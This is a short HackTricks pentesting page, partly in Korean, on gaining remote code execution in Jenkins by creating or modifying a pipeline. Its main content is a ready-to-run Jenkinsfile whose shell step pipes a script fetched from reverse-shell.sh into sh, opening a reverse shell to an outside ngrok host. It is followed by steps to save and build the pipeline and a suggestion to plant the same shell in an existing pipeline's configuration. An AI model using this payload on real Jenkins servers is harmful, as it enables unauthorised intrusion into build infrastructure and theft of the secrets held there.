Jenkins RCE Creating/Modifying Pipeline

Support HackTricks

새로운 파이프라인 생성

"New Item" ( /view/all/newJob 에서 접근 가능)에서 Pipeline을 선택:

Pipeline 섹션리버스 쉘을 작성:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Finally click on Save, and Build Now and the pipeline will be executed:

Modifying a Pipeline

만약 구성된 파이프라인의 구성 파일에 접근할 수 있다면, 리버스 쉘을 추가하여 수정하고 실행하거나 실행될 때까지 기다릴 수 있습니다.

Support HackTricks

Last updated